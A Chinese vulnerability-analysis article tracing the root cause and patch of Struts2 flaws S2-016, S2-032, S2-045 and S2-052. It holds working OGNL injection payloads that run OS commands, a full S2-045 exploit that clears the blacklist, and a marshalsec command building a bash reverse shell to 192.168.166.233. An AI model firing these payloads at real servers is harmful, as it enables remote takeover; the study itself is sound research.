尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
目录
- 前言
- S2-001
- S2-003
- S2-005
- S2-007
- S2-008
- S2-009
- S2-012
- S2-013
- S2-015
- S2-016
- S2-032
- S2-045
- S2-052
- S2-053
- S2-057
- S2-059
- S2-061
- 小结
- Reference
前言
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
PS: 本系列分析的漏洞均为已公开的漏洞,Struts2官方都早已发布修复版本。建议直接使用最新版本。
S2-016
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-016
影响版本:Struts 2.0.0 - Struts 2.3.15
漏洞复现与分析
在Struts2中,支持在action的请求参数中添加redirect:、redirectAction:前缀,在后面加上指定表达式,便可实现路径导航和重定向。但由于没有对前缀后面的表达式进行安全过滤,从而可导致注入任意OGNL表达式。
下面使用struts2 2.3.15版本自带的示例程序struts-blank进行调试分析。
以redirect:为例,最简单的PoCredirect:%{11+13},复现如下:
可以看到表达式%{11+13}被执行了,结果回显在了响应头Location中。
对这些参数前缀的处理,是在org.apache.struts2.dispatcher.mapper.DefaultActionMapper类中,如下图,每个前缀都有与之对应的处理动作。
下面以redirect:前缀为例子。
先说一下,这个漏洞的触发流程其实是在struts2运行主线的第一阶段,并没有到达第二阶段。什么意思呢,看下图:
如上图,这是一个正常的action请求的处理时序图。
首先第一阶段是对HTTP请求的预处理阶段。这个阶段主要由Struts2完成,其主要职责是与Web容器打交道,将HTTP请求处理成为普通的Java对象。<br>
而第二阶段,则是XWork事件处理阶段。程序的执行控制权在此时交给了XWork框架,其主要职责是对请求进行核心逻辑处理。
为什么说这个漏洞的触发流程只是在struts2运行主线的第一阶段呢?来实际调试一下便知。
struts2接收到请求后,先到达StrutsPrepareAndExecuteFilter#doFilter()方法中,在该方法中,会根据request对象来获取ActionMapping对象,如下图:
在获取ActionMapping对象的过程中,会调用DefaultActionMapper#handleSpecialParameters()方法去处理特殊的参数
,比如包含了redirect:、redirectAction:等前缀的参数,具体的处理动作在对应的ParameterAction#execute()方法里完成,如下图:
可以看到,在redirect:前缀对应的处理动作中,往ActionMapping对象中放置了一个Result对象:ServletRedirectResult对象,并且将前缀后面的OGNL表达式字符串赋值给该Result对象的location属性中。
获取到ActionMapping属性后,随着运行主线的第一阶段,到达Dispatcher#serviceAction()方法。在该方法中,会判断在ActionMapping对象的result属性是否为null,如果为null,则进入运行主线的第二阶段。然而,前面已经在处理redirect:参数前缀时,将一个ServletRedirectResult对象赋值给了ActionMapping的result属性,所以这里不会进入第二阶段,而是直接开始调度Result对象。
继续跟进,看到了熟悉的TextParseUtil.translateVariables()方法。后面的方法执行流程就跟S2-015:vuln-1一样了,这里不再展开。
可回显PoC
xxx.action?redirect:%{#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#wr=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#wr.println(#a),#wr.flush(),#wr.close()}
漏洞修复
通过版本代码比对,在Struts2 2.3.15.1版本中,DefaultActionMapper类里对redirect:、redirectAction:前缀的处理代码都删除了。
S2-032
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-032
影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞复现与分析
从漏洞公告可获悉,当Struts2的"动态方法调用"(Dynamic Method Invocation)特性被启用时,可通构造以method:为前缀的OGNL表达式,造成远程代码执行。
下面使用struts2 2.3.28版本自带的示例程序struts-blank进行调试分析。
在部署应用前,需要在struts.xml文件中启用Dynamic Method Invocation特性,同时需要将devMode模式关闭。至于为什么要关闭devMode模式,在下面的调试过程中就能找到答案。
同S2-016的redirect:、redirectAction:前缀一样,对参数前缀method:的处理也是在类org.apache.struts2.dispatcher.mapper.DefaultActionMapper,如下图:
按照前面在S2-016漏洞分析中提到的Struts2运行主线的流程,跟进到类DefaultActionMapper中对参数前缀为method:时的处理,如下图,只有当Dynamic Method Invocation特性启用时才会将method:后面带的字符串赋值到ActionMapping的method属性。
继续跟进代码到Dispatcher#serviceAction()方法,发现在创建ActionProxy对象的过程中,会对传入的method字符串(即method:前缀后面跟着的字符串)进行HTML字符转义和JS字符转义(这个常用来防止XSS攻击)。因此这次我们构造PoC的时候就不能直接把之前漏洞的PoC拿来用了,得修改一下,比如不能出现单双引号、尖括号等。
继续跟进代码,到了调度拦截器执行阶段,当拦截器AnnotationValidationInterceptor执行过程中,会搜索当前action对象中是否有method:前缀后指定的方法。因为这里我们就是要插入恶意OGNL表达式的,所以结果肯定是搜索不到的。当搜索不到时,当devMode开启时,就会抛出异常,程序因此中断从而无法执行我们注入的OGNL表达式,所以前面提到为什么前提条件还包括不开启devMode模式。如下图:
最后,在调用action对象的时候,便会对method:前缀后面的OGNL表达式进行计算,如下图:
这里要注意OnglUtil.getValue()的第一个参数,methodName后面拼接了一个圆括号(),故在构造PoC时,要在注入的OGNL表达式中,最后一个得是方法调用,且去掉圆括号。
可回显PoC
从上面的调试分析可知,会对method:前缀后面的字符串进行HTML字符和JS字符转义,所以这里不能使用#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')这种方式来访问_memberAccess的allowStaticMethodAccess属性,因为单引号会被转义。执行命令Runtime#exec('id')同理。
这里使用@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS将#_memberAccess重置为默认对象DefaultMemberAccess,DefaultMemberAccess不会禁止执行Java静态方法。
而命令参数则利用上下文对象context中parameters属性去读取。
综上,可回显PoC如下:
/xxxx.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#w=#res.getWriter(),
#w.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream())),
#w.flush(),
#w.close&cmd=uname -a
漏洞修复
通过版本比对,可以看到在Struts2 2.3.28.1版本中,对method:前缀后面的字符串进行了字符白名单校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
S2-045
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-045
影响版本:Struts 2.3.5-Struts 2.3.31, Struts 2.5-Struts 2.5.10
漏洞复现与分析
从漏洞公告可获悉,如果Content-Type请求头的值表示一个上传类型,但值是无效的,且是一个精心构造的OGNL表达式时,Jakarta Multipart parser这个解析器在对Content-Type处理的过程中,会触发异常,在处理异常信息的时候会计算OGNL表达式,从而造成远程代码执行。
这里使用Struts2 2.3.31版本自带的示例应用struts-blank进行调试分析。
因为得是上传类型,故Content-Type的值包含字符串multipart/form-data。另外,在Jakarta Multipart parser解析器对应的类JakartaMultiPartRequest的解析请求的方法parse()方法中下断点。
命中断点后,跟进它的处理,可以看到,当content-type请求头的值不是以multipart/开头时,则抛出异常InvalidContentTypeException,同时将content-type的值拼接到异常消息字符串中。
抛出异常后,则在JakartaMultiPartRequest#buildErrorMessage()对异常消息进行处理。
继续跟进,看到了熟悉的TextParseUtil.translateVariables(),往后就是从异常消息字符串中根据%符号提取OGNL表达式并计算求值,这里不再细说,因为前面分析其他漏洞的文章里已经详细分析过了。
下面重点说一下PoC的构造。
可回显PoC
注:关于OGNL表达式的形式,可参考官方文档:<br>
https://commons.apache.org/proper/commons-ognl/language-guide.html
因为Struts2从2.3.28.1版本开始,在OgnlUtil类中,对(e1,e2,e3,e4,...)这种形式的表达式进行了限制,不允许执行。(e1,e2,e3,e4,...)这种形式的表达式会被解析为ASTSequence类型,而ASTSequence#isSequence()永远返回true,从而向上抛出异常,不会继续对表达式进行求值。关键代码如下:
所以这里换一种表达式形式:(e1).(e2).(e3).(e4)....。这种形式的表达式会被解析为ASTChain类型,没有被限制执行。
所以,构造简单PoC如下:
%{
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#a=1).
(#b=2*#a).
(#c=2*#b).
(#ret=4*#c).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',#ret)).
(multipart/form-data)
}
要构造命令执行的PoC,首先要将上下文对象context的_memberAccess属性重新赋值为DEFAULT_MEMBER_ACCESS。但Struts2 2.3.31的代码里,上下文对象context内部的Map集合已经没有_memberAccess这个键,当然也就无法向之前一样通过#context['_memberAccess']或#_memberAccess去访问context的_memeberAccess属性。(详见OgnlContext的static代码块和get(Object key)方法)
但可以通过OgnlContext的setMemberAccess()方法去设置它。然而在此之前,还得做些工作。否则OgnlContext#setMemberAccess()无法执行。为什么呢?这里直接拿网上的漏洞利用工具/脚本里的S2-045漏洞exploit来解释,如下:
%{
(#t='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
- 因为版本较旧的Struts2,上下文对象
context内部的Map集合里还是存在_memberAccess属性的,同时也可以通过get方法访问,而版本较新的则没有。所以这里使用条件形式的表达式(e1)?(e2):(e3)来实现版本的兼容。 - 这里在执行
#context.setMemberAccess()前,为什么要先调用#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()呢?原因是在较新的Struts2版本中,默认情况下,会通过类名和包名黑名单的形式禁止OGNL表达式中某些类的方法调用。Struts22.3.31里的类名、包名的黑名单如下图所示。
对黑名单的读取,是在OgnlValueStack#setOgnlUtil()方法中,如下图:
可以看到,连OgnlContext都在黑名单中,所以必须得先将黑名单集合excludedClasses和excludedPackageNames给清空,同时又不能使用黑名单里的类去调用方法。故这个exploit给了一个思路:
先通过#container=#context['com.opensymphony.xwork2.ActionContext.container']来获取ContainerImpl对象,通过ContainerImpl#getInstance()方法来获取OgnlUtil对象,而OgnlUtil并不在黑名单中,所以再通过#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()来清空存储黑名单的集合。清除后,上下文对象context就可以调用setMemberAccess()方法去重置_memberAccess属性了。
漏洞修复
在Struts2 2.3.32中,JakartaMultiPartRequest#buildErrorMessage()把异常信息传入了LocalizedTextUtil#findText()方法的args参数的位置,不再传到defaultMessage参数的位置。
S2-052
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-052
影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞复现与分析
下面使用Struts2 2.3.33版本自带的示例应用struts2-rest-showcase进行调试分析。
从漏洞公告可获悉,该漏洞与OGNL表达式无关,而是由于REST plugin插件在处理xml类型的请求数据时,没有进行任何类型的过滤,故可构造恶意xml数据使XStream进行不安全的反序列化,从而达到RCE。
struts2-rest-plugin是使Struts2实现REST API的插件。它通过Content-Type或URI后缀名来识别不同的请求数据类型,然后根据请求数据类型用不同的实现类去处理。关键代码如下:
跟进XStreamHandler#toObject()方法,发现调用了XStream#fromXML()方法对请求数据进行反序列化。
struts-rest-plugin-2.3.33依赖的XStream的版本是1.4.8。故可以使用marshalsec生成ImageIO利用链的payload进行RCE的漏洞利用。
可回显PoC
对于xstream的反序列化命令执行回显,本人暂时不知道如何实现。<br>
下面使用marshalsec工具生成反弹shell的exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "/bin/bash" "-c" "bash -i >& /dev/tcp/192.168.166.233/443 0>&1"
漏洞修复
在struts2-rest-plugin-2.3.34版本中,将XStream升级到了1.4.10版本,且按照XStream官方的推荐(hxxps://x-stream.github.io/security.html),使用了白名单的方式指定可以反序列化的类型。
- 本文作者: m01e
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/602
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!







































